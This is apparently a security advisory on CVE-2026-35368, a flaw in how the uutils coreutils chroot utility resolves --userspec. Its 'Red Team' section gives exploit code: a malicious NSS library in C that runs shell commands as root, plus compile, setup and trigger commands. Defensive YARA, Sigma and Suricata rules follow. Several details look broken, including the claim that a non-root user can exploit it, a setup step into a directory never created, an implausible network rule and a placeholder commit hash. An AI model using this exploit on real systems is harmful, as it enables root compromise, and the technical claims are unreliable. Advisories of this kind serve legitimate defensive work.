CVE-2026-35368

Executive Summary

CVE-2026-35368 is a privilege escalation vulnerability in the chroot utility of uutils coreutils. The flaw occurs when the --userspec option is used. The utility resolves the user specification via getpwnam() after entering the chroot but before dropping root privileges. On glibc-based systems, this triggers the Name Service Switch (NSS) to load shared libraries (e.g., libnss_*.so.2) from the new root directory. If the new root directory is writable by an attacker, they can inject a malicious NSS module to execute arbitrary code as root, facilitating a full container escape or privilege escalation.

CVSS Score: 7.8 (High) – Local attack vector, low complexity, high impact on confidentiality, integrity, and availability.

Patch Status: PATCHED / FIX AVAILABLE

Key Risk: Container escape or privilege escalation from a non-root user to root on glibc-based systems.

Supply Chain & Package Security

This vulnerability affects the uutils coreutils package, which is a Rust-based reimplementation of GNU coreutils. It is distributed via package managers like cargo (crates.io) and may be included in container images or Linux distributions that use uutils. The supply chain risk is moderate, as the vulnerable component is a core utility used in many environments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions beyond writable chroot.
• Privileges Required (PR): Low (L) – Attacker needs a non-root user account.
• User Interaction (UI): None (N) – No user interaction required.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its original scope (container escape).
• Confidentiality (C): High (H) – Full read access to host filesystem.
• Integrity (I): High (H) – Full write access to host filesystem.
• Availability (A): High (H) – Full control over host system.

Threat Level: High – Exploitation can lead to complete host compromise from a container or restricted environment.

Deep Dive & Mechanics

The vulnerability lies in the order of operations in the chroot utility when using --userspec:

1. Enter chroot: The process changes its root directory to NEWROOT.
2. Resolve user specification: After entering the chroot, the utility calls getpwnam() to resolve the username/UID provided via --userspec.
3. Drop privileges: Only after resolving the user does the utility drop root privileges.

On glibc-based systems, getpwnam() triggers the Name Service Switch (NSS) mechanism. NSS loads shared libraries (e.g., libnss_files.so.2, libnss_systemd.so.2) from the system's library paths. Since the process has already entered the chroot, these libraries are loaded from the new root directory (NEWROOT).

If an attacker can write to NEWROOT (e.g., a writable container mount), they can place a malicious libnss_*.so.2 file in the appropriate path (e.g., /lib64/libnss_files.so.2). When getpwnam() is called, the malicious library is loaded and executed with root privileges (since privileges have not yet been dropped).

Attack Flow:

1. Attacker gains access to a container or restricted environment with a writable filesystem.
2. Attacker creates a malicious NSS library (e.g., libnss_exploit.so.2) that executes arbitrary code.
3. Attacker places the library in the chroot target directory (e.g., /tmp/chroot/lib64/libnss_exploit.so.2).
4. Attacker runs chroot --userspec=attacker:attacker /tmp/chroot /bin/bash.
5. The chroot utility enters the chroot, calls getpwnam("attacker"), which loads the malicious NSS library.
6. The malicious code executes as root, giving the attacker full control over the host.

Vulnerable vs. Patched Code

Vulnerable Code (uutils coreutils < 0.0.29):

// Pseudocode of vulnerable logic
fn chroot_with_userspec(newroot: &str, userspec: &str) {
    // Step 1: Enter chroot
    chroot(newroot);
    chdir("/");
    
    // Step 2: Resolve user specification (AFTER chroot)
    let user = getpwnam(userspec); // Loads NSS libraries from newroot
    
    // Step 3: Drop privileges
    setuid(user.uid);
    setgid(user.gid);
}

Patched Code (uutils coreutils >= 0.0.29):

// Pseudocode of patched logic
fn chroot_with_userspec(newroot: &str, userspec: &str) {
    // Step 1: Resolve user specification BEFORE chroot
    let user = getpwnam(userspec); // Uses host NSS libraries
    
    // Step 2: Enter chroot
    chroot(newroot);
    chdir("/");
    
    // Step 3: Drop privileges
    setuid(user.uid);
    setgid(user.gid);
}

The patch moves the getpwnam() call before the chroot() call, ensuring that NSS libraries are loaded from the host system, not from the potentially attacker-controlled new root.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running vulnerable uutils coreutils.
• Ability to write to the target chroot directory (e.g., a container with writable /tmp).
• glibc-based system (NSS mechanism).

Exploitation Steps:

1. Create a malicious NSS library:

   // malicious_nss.c
   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   
   // NSS entry point
   enum nss_status _nss_files_getpwnam_r(const char *name, struct passwd *result,
                                          char *buffer, size_t buflen, int *errnop) {
       // Execute arbitrary code as root
       system("id > /tmp/pwned");
       system("chmod 777 /host");
       return NSS_STATUS_SUCCESS;
   }
   

   Compile: gcc -shared -fPIC -o libnss_exploit.so.2 malicious_nss.c

2. Set up the chroot environment:

   mkdir -p /tmp/chroot/lib64
   cp /lib64/ld-linux-x86-64.so.2 /tmp/chroot/lib64/
   cp /bin/bash /tmp/chroot/bin/
   cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/chroot/lib64/
   # Place malicious NSS library
   cp libnss_exploit.so.2 /tmp/chroot/lib64/libnss_files.so.2
   

3. Trigger the vulnerability:

   chroot --userspec=attacker:attacker /tmp/chroot /bin/bash
   

4. Verify exploitation:

   cat /tmp/pwned
   # Output: uid=0(root) gid=0(root) groups=0(root)
   

Blue Team (Detection & Prevention)

Detection:

• Monitor for chroot commands with --userspec option.
• Monitor for unexpected NSS library loading from non-standard paths.
• Monitor for processes that change root and then load shared libraries.

Prevention:

• Apply the patch immediately.
• Use seccomp to block chroot syscall for non-privileged containers.
• Use AppArmor/SELinux to restrict NSS library loading.
• Ensure chroot directories are not writable by unprivileged users.

Indicators of Compromise (IOCs)

File IOCs:

• Suspicious NSS libraries in non-standard paths (e.g., /tmp/*/libnss_*.so.2)
• Unexpected files in /tmp/pwned or similar

Process IOCs:

• chroot process with --userspec option
• Process loading NSS libraries from chroot directory

Network IOCs:

• Outbound connections from chroot processes (if malicious code establishes C2)

System IOCs:

• Unexpected setuid(0) or setgid(0) calls
• Unusual NSS library loading events in audit logs

Detection Engineering

YARA Rule

rule CVE_2026_35368_NSS_Library_Injection {
    meta:
        description = "Detects malicious NSS libraries used in CVE-2026-35368 exploitation"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35368"
    strings:
        $nss_func = "_nss_files_getpwnam_r" nocase
        $system_call = "system(" nocase
        $exec_call = "exec(" nocase
        $popen_call = "popen(" nocase
    condition:
        $nss_func and ($system_call or $exec_call or $popen_call)
}

Sigma Rule

title: CVE-2026-35368 - chroot with --userspec
id: cve-2026-35368-chroot-userspec
status: experimental
description: Detects chroot command with --userspec option, indicating potential exploitation of CVE-2026-35368
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/chroot'
        CommandLine|contains: '--userspec'
    condition: selection
falsepositives:
    - Legitimate use of chroot with --userspec in controlled environments
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-35368 - Potential NSS Library Injection"; flow:to_server,established; content:"libnss_"; nocase; content:".so.2"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update uutils coreutils to version 0.0.29 or later.
2. Workaround: Avoid using --userspec with chroot in untrusted environments.
3. Restrict chroot: Use seccomp to block chroot syscall for non-privileged containers.

Long-term Mitigations:

• Use container runtimes that implement proper user namespace isolation.
• Implement mandatory access controls (AppArmor/SELinux) to restrict NSS library loading.
• Monitor for suspicious NSS library loading events.
• Conduct regular security audits of core utilities.

Patch Details:

• Repository: https://github.com/uutils/coreutils
• Commit: [Insert specific commit hash here]
• Version: 0.0.29+

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 52170A2F235CA227FA5C6848] */}